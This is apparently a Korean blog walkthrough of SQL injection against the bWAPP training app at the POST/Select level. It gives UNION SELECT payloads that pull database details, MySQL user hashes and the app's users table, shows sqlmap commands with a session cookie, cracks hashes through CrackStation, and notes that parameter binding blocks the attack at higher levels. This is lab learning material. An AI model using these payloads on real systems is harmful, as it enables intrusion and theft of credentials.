SQL-Injection(POST/Select)

반응형

이번에는 GET/SELECT 방식과 똑같지만 Burpsuite를 이용하는 POST 방식을 해보도록 하겠다.

SQL Injection(POST/Select)방식을 선택하면

다음과 같은 화면이 나온다.

GET 방식과 똑같이 데이터베이스 값을 하나만 출력해준다.

Burpsuite를 켜고 Intercept is on인 상태에서 Go 버튼을 누르면 다음과 같이 나오는데

여기서 데이터 베이스의 기본정보를 얻기 위해 movie 변수에 다음과 같은 명령어를 입력하고 Intercept is off로 바꿔준다.

-> 0 UNION SELECT null, database(), @@version, @@datadir, null,null,null

여기서 우리는 데이터 베이스의 기본정보를 알 수 있다.

이제 여기서 사용자의 호스트이름, 사용자 이름, 비밀번호를 출력하기 위해 다음과 같이 입력한다.

-> 0 UNION SELECT null, host,user,password,null,null,null FROM mysql.user

다음과 같이 입려하면 다음과 같은 화면을 출력할 수 있다.

host 명은 localhost, user명은 root 비밀번호는 해시화 되어있는 것을 알 수 있다.

이제 테이블 명을 파악 하기 위해서 다음과 같이 입력해준다.

-> 0 UNION SELECT null, table_schema, table_name, column_name,null,null,null FROM information_schema.columns WHERE table_schema!='mysql' AND table_schema!='information_schema'

입력하면 다음과같은 화면이 출력 된다.

이런방식으로 계속 DB의 정보를 알아내면 되지만 알아내는데에 한계가 있으므로 SQL Injection 자동화 도구인 'sqlmap'을 사용하여 DB와 테이블 명을 알아내보도록 하겠다.

우선 칼리를 키고 터미널에 sqlmap 명령어를 입력해보자

-> sqlmap -u "http://192.168.0.9/bWAPP/sqli_13.php" --cookie="PHPSESSID=789d6e8c5a4e2c421a851036e1209d2c; security_level=0" --data "movie=1&action=go" -DBs

-u : 자동화 공격할 URL

--cookie : 로그인 페이지이므로 쿠키값을 입력해야함

--data : 공격할 변수명

-DBs : DB명을 알아낼것이기 때문에 DB명 입력

입력을 했는데 아무것도 안나온다... 그래서 DB명을 알아내는 방법은 포기하고 테이블 명을 알아내보기로 했다.

-> sqlmap -u "http://192.168.0.9/bWAPP/sqli_13.php" --cookie="PHPSESSID=789d6e8c5a4e2c421a851036e1209d2c; security_level=0" --data "movie=1&action=go" -p "movie" --columns

-p : SQL Injection을 시도할 변수명

--tables : 알아낼 것이 테이블 명이므로 --tables 입력

입력하면

다음과 같이 나오는데 여기서 우리는 DB명도 알아낼 수 있다. 이제 여기서 우리는 users 테이블에 사용자 정보가 있다고 추측을 하고 movie 변수의 users 컬럼의 정보를 알아내기 위해 다음과 같이 입력한다.

-> sqlmap -u "http://192.168.0.9/bWAPP/sqli_13.php" --cookie="PHPSESSID=789d6e8c5a4e2c421a851036e1209d2c; security_level=0" --data "movie=1&action=go" -p "movie" --columns

다음과 같이 입력하면

나오는데  여기서 우리는 login, password, secret, email등의 사용자 정보를 알아낼 수 있다.

이제 Burpsuite로 돌아와서 다음과 같이 입력해준다.

->movie=0 UNION SELECT null, login, password, email, secret,null,null FROM users&action=go

다음과 같이 입력하면

정보를 알아낼 수 있다. 

이제 이 해쉬값을 해쉬값 풀어주는 사이트에 들어가서 풀어주면 된다.

사이트 :  https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

풀어주면

해시화된 비밀번호 값은 :bug

난이도 -(중, 상)

난이도(medium, high)은 항상 코드 먼저 확인한다.(sqli_13-ps.php)

이 페이지는 bind_param이라는 함수를 사용하는데 bind_param 함수는 바인딩을 이용하는 함수이다.

이 함수를 사용하여 쿼리에 값을 직접 입력하지 않고 일단 '?'로 처리한 다음 그 자리에 값을 삽입하는 방식인 것이다.

즉 DB서 컬럼을 개별로 호출하고 연결하는 방식으로 SQL 인젝션을 막고 있기 때문에 공격 수행이 불가능하다.

반응형

'웹해킹 > bee-box' 카테고리의 다른 글

SQL-Injection - Login Form/Hero  (0) 2019.08.04
SQL Injection(AJAX/JSON/JQuery)  (0) 2019.08.03
SQL Injection(GET/Select)  (0) 2019.08.01
SSI Injection  (2) 2019.08.01
OS Command Injection  (0) 2019.07.31